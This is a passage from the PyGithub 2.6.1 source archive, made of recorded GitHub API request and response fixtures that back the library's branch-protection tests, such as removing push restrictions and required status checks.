'AE1E5031:A39B:2D392574:568E6BC1'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-ratelimit-remaining', '4991'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-xss-protection', '1; mode=block'), ('access-control-allow-credentials', 'true'), ('date', 'Mon, 07 May 2018 12:46:55 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-frame-options', 'deny'), ('x-ratelimit-reset', '1452177625')] {"documentation_url":"https://developer.github.com/v3/repos/branches/#get-branch-protection","message":"Branch not protected"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testRemovePushRestrictions.txt0000644000175100001660000000327114756101563025524 0ustar00runnerdockerhttps DELETE api.github.com None /repos/PyGithub/PyGithub/branches/master/protection/restrictions {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4994'), ('content-length', '330'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2dada6dafd332016bcdf06e42487e520"'), ('date', 'Sun, 13 May 2012 10:46:19 GMT'), ('content-type', 'application/json; charset=utf-8')] https GET api.github.com None /repos/PyGithub/PyGithub/branches/master/protection/restrictions/users {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('content-length', '126'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'AE1E5031:A39B:2D392574:568E6BC1'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-ratelimit-remaining', '4991'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-xss-protection', '1; mode=block'), ('access-control-allow-credentials', 'true'), ('date', 'Sun, 13 May 2018 10:52:10 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-frame-options', 'deny'), ('x-ratelimit-reset', '1452177625')] {"documentation_url":"https://developer.github.com/v3/repos/branches/#list-team-restrictions-of-protected-branch","message":"Push restrictions not enabled"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testRemoveRequiredPullRequestReviews.txt0000644000175100001660000000440514756101563027527 0ustar00runnerdockerhttps DELETE api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4994'), ('content-length', '330'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2dada6dafd332016bcdf06e42487e520"'), ('date', 'Thu, 10 May 2012 13:56:55 GMT'), ('content-type', 'application/json; charset=utf-8')] https GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.luke-cage-preview+json'} None 200 [('x-runtime-rack', '0.056567'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"6686cddc9495f58aa23d6956c10cc1a6"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4980'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '8DC0:2DD0:134EC8E:193336D:5AF588B1'), ('date', 'Fri, 11 May 2018 12:12:39 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews","dismiss_stale_reviews":false,"require_code_owner_reviews":false,"required_approving_review_count":1} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testRemoveRequiredSignatures.txt0000644000175100001660000000250014756101563026013 0ustar00runnerdockerhttps DELETE api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_signatures {'Accept': 'application/vnd.github.zzzax-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Sun, 21 Oct 2018 18:46:19 GMT'), ('Content-Type', 'application/octet-stream'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4979'), ('X-RateLimit-Reset', '1540150652'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.zzzax-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'AA48:4C25:3BECB3F:7CD7C22:5BCCC97A')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testRemoveRequiredStatusChecks.txt0000644000175100001660000000333414756101563026301 0ustar00runnerdockerhttps DELETE api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4994'), ('content-length', '330'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2dada6dafd332016bcdf06e42487e520"'), ('date', 'Thu, 10 May 2012 13:56:55 GMT'), ('content-type', 'application/json; charset=utf-8')] https GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('content-length', '126'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'AE1E5031:A39B:2D392574:568E6BC1'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-ratelimit-remaining', '4991'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-xss-protection', '1; mode=block'), ('access-control-allow-credentials', 'true'), ('date', 'Mon, 07 May 2018 12:46:55 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-frame-options', 'deny'), ('x-ratelimit-reset', '1452177625')] {"documentation_url":"https://developer.github.com/v3/repos/branches/#get-required-status-checks-of-protected-branch","message":"Required status checks not enabled"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testRemoveTeamPushRestrictions.txt0000644000175100001660000000441614756101563026335 0ustar00runnerdockerhttps DELETE api.github.com None /repos/PyGithub/PyGithub/branches/master/protection/restrictions/teams {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} ["org-team"] 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4994'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"81ba94a48ad867b26d48c023ac584f43"'), ('date', 'Sun, 13 May 2018 11:06:07 GMT'), ('content-type', 'application/json; charset=utf-8')] https GET api.github.com None /repos/PyGithub/PyGithub/branches/master/protection/restrictions/teams {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('x-runtime-rack', '0.033407'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"f972722557f6bbc814f109abae4df24e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '9946:55F2:20CF9A0:423578E:5AF580B7'), ('date', 'Fri, 13 May 2018 11:22:40 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] [{"name":"pygithub-owners","id":585225,"slug":"pygithub-owners","description":"","privacy":"closed","url":"https://api.github.com/teams/585225","members_url":"https://api.github.com/teams/585225/members{/member}","repositories_url":"https://api.github.com/teams/585225/repos","permission":"pull"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testRemoveUserPushRestrictions.txt0000644000175100001660000000545214756101563026366 0ustar00runnerdockerhttps DELETE api.github.com None /repos/PyGithub/PyGithub/branches/master/protection/restrictions/users {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} ["jacquev6"] 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4994'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"81ba94a48ad867b26d48c023ac584f43"'), ('date', 'Sun, 13 May 2018 11:06:07 GMT'), ('content-type', 'application/json; charset=utf-8')] https GET api.github.com None /repos/PyGithub/PyGithub/branches/master/protection/restrictions/users {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('x-runtime-rack', '0.033407'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"f972722557f6bbc814f109abae4df24e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '9946:55F2:20CF9A0:423578E:5AF580B7'), ('date', 'Fri, 13 May 2018 11:07:40 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] [{"login":"sfdye","id":343369,"avatar_url":"https://avatars2.githubusercontent.com/u/343369?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testReplaceTeamPushRestrictions.txt0000644000175100001660000000771414756101563026457 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/branches/master/protection/restrictions/teams {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('x-runtime-rack', '0.033407'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"f972722557f6bbc814f109abae4df24e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '9946:55F2:20CF9A0:423578E:5AF580B7'), ('date', 'Fri, 13 May 2018 11:22:40 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] [{"name":"pygithub-owners","id":585225,"slug":"pygithub-owners","description":"","privacy":"closed","url":"https://api.github.com/teams/585225","members_url":"https://api.github.com/teams/585225/members{/member}","repositories_url":"https://api.github.com/teams/585225/repos","permission":"pull"}] https PUT api.github.com None /repos/PyGithub/PyGithub/branches/master/protection/restrictions/teams {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} ["org-team"] 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"81ba94a48ad867b26d48c023ac584f43"'), ('date', 'Sun, 13 May 2018 11:21:07 GMT'), ('content-type', 'application/json; charset=utf-8')] '' https GET api.github.com None /repos/PyGithub/PyGithub/branches/master/protection/restrictions/teams {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('x-runtime-rack', '0.033407'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"f972722557f6bbc814f109abae4df24e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '9946:55F2:20CF9A0:423578E:5AF580B7'), ('date', 'Fri, 13 May 2018 11:22:40 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] [{"name":"org-team","id":849110,"slug":"org-team","description":"","privacy":"closed","url":"https://api.github.com/teams/849110","members_url":"https://api.github.com/teams/849110/members{/member}","repositories_url":"https://api.github.com/teams/849110/repos","permission":"pull"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testReplaceUserPushRestrictions.txt0000644000175100001660000001175514756101563026507 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/branches/master/protection/restrictions/users {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('x-runtime-rack', '0.033407'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"f972722557f6bbc814f109abae4df24e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '9946:55F2:20CF9A0:423578E:5AF580B7'), ('date', 'Fri, 13 May 2018 11:07:40 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] [{"owned_private_repos":5,"collaborators":0,"type":"User","hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_gists":1,"company":"Criteo","bio":"","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","private_gists":5,"plan":{"collaborators":1,"private_repos":5,"name":"micro","space":614400},"public_repos":11,"followers":13,"login":"jacquev6","blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","disk_usage":16852,"html_url":"https://github.com/jacquev6","name":"Vincent Jacques","total_private_repos":5,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24}] https PUT api.github.com None /repos/PyGithub/PyGithub/branches/master/protection/restrictions/users {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} ["sfdye"] 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"81ba94a48ad867b26d48c023ac584f43"'), ('date', 'Sun, 13 May 2018 11:06:07 GMT'), ('content-type', 'application/json; charset=utf-8')] '' https GET api.github.com None /repos/PyGithub/PyGithub/branches/master/protection/restrictions/users {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('x-runtime-rack', '0.033407'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"f972722557f6bbc814f109abae4df24e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '9946:55F2:20CF9A0:423578E:5AF580B7'), ('date', 'Fri, 13 May 2018 11:07:40 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] [{"login":"sfdye","id":343369,"avatar_url":"https://avatars2.githubusercontent.com/u/343369?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/BranchProtection.setUp.txt0000644000175100001660000006722414756101563023275 0ustar00runnerdockerhttps GET api.github.com None /repos/curvewise-forks/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 09 Jun 2023 16:53:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"df683b827e7c82340d835f6bf47652fca31804e1fa7ca705ed2c97ab38e0772a"'), ('Last-Modified', 'Thu, 08 Jun 2023 17:42:36 GMT'), ('X-OAuth-Scopes', 'read:org, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4999'), ('X-RateLimit-Reset', '1686333233'), ('X-RateLimit-Used', '1'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D5E0:378B:CA42FC6:19D676AA:64835921')] {"id":586160171,"node_id":"R_kgDOIvAYKw","name":"PyGithub","full_name":"curvewise-forks/PyGithub","private":false,"owner":{"login":"curvewise-forks","id":72516939,"node_id":"MDEyOk9yZ2FuaXphdGlvbjcyNTE2OTM5","avatar_url":"https://avatars.githubusercontent.com/u/72516939?v=4","gravatar_id":"","url":"https://api.github.com/users/curvewise-forks","html_url":"https://github.com/curvewise-forks","followers_url":"https://api.github.com/users/curvewise-forks/followers","following_url":"https://api.github.com/users/curvewise-forks/following{/other_user}","gists_url":"https://api.github.com/users/curvewise-forks/gists{/gist_id}","starred_url":"https://api.github.com/users/curvewise-forks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/curvewise-forks/subscriptions","organizations_url":"https://api.github.com/users/curvewise-forks/orgs","repos_url":"https://api.github.com/users/curvewise-forks/repos","events_url":"https://api.github.com/users/curvewise-forks/events{/privacy}","received_events_url":"https://api.github.com/users/curvewise-forks/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/curvewise-forks/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/curvewise-forks/PyGithub","forks_url":"https://api.github.com/repos/curvewise-forks/PyGithub/forks","keys_url":"https://api.github.com/repos/curvewise-forks/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/curvewise-forks/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/curvewise-forks/PyGithub/teams","hooks_url":"https://api.github.com/repos/curvewise-forks/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/curvewise-forks/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/curvewise-forks/PyGithub/events","assignees_url":"https://api.github.com/repos/curvewise-forks/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/curvewise-forks/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/curvewise-forks/PyGithub/tags","blobs_url":"https://api.github.com/repos/curvewise-forks/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/curvewise-forks/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/curvewise-forks/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/curvewise-forks/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/curvewise-forks/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/curvewise-forks/PyGithub/languages","stargazers_url":"https://api.github.com/repos/curvewise-forks/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/curvewise-forks/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/curvewise-forks/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/curvewise-forks/PyGithub/subscription","commits_url":"https://api.github.com/repos/curvewise-forks/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/curvewise-forks/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/curvewise-forks/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/curvewise-forks/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/curvewise-forks/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/curvewise-forks/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/curvewise-forks/PyGithub/merges","archive_url":"https://api.github.com/repos/curvewise-forks/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/curvewise-forks/PyGithub/downloads","issues_url":"https://api.github.com/repos/curvewise-forks/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/curvewise-forks/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/curvewise-forks/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/curvewise-forks/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/curvewise-forks/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/curvewise-forks/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/curvewise-forks/PyGithub/deployments","created_at":"2023-01-07T06:21:50Z","updated_at":"2023-06-08T17:42:36Z","pushed_at":"2023-06-08T17:42:22Z","git_url":"git://github.com/curvewise-forks/PyGithub.git","ssh_url":"git@github.com:curvewise-forks/PyGithub.git","clone_url":"https://github.com/curvewise-forks/PyGithub.git","svn_url":"https://github.com/curvewise-forks/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11822,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key"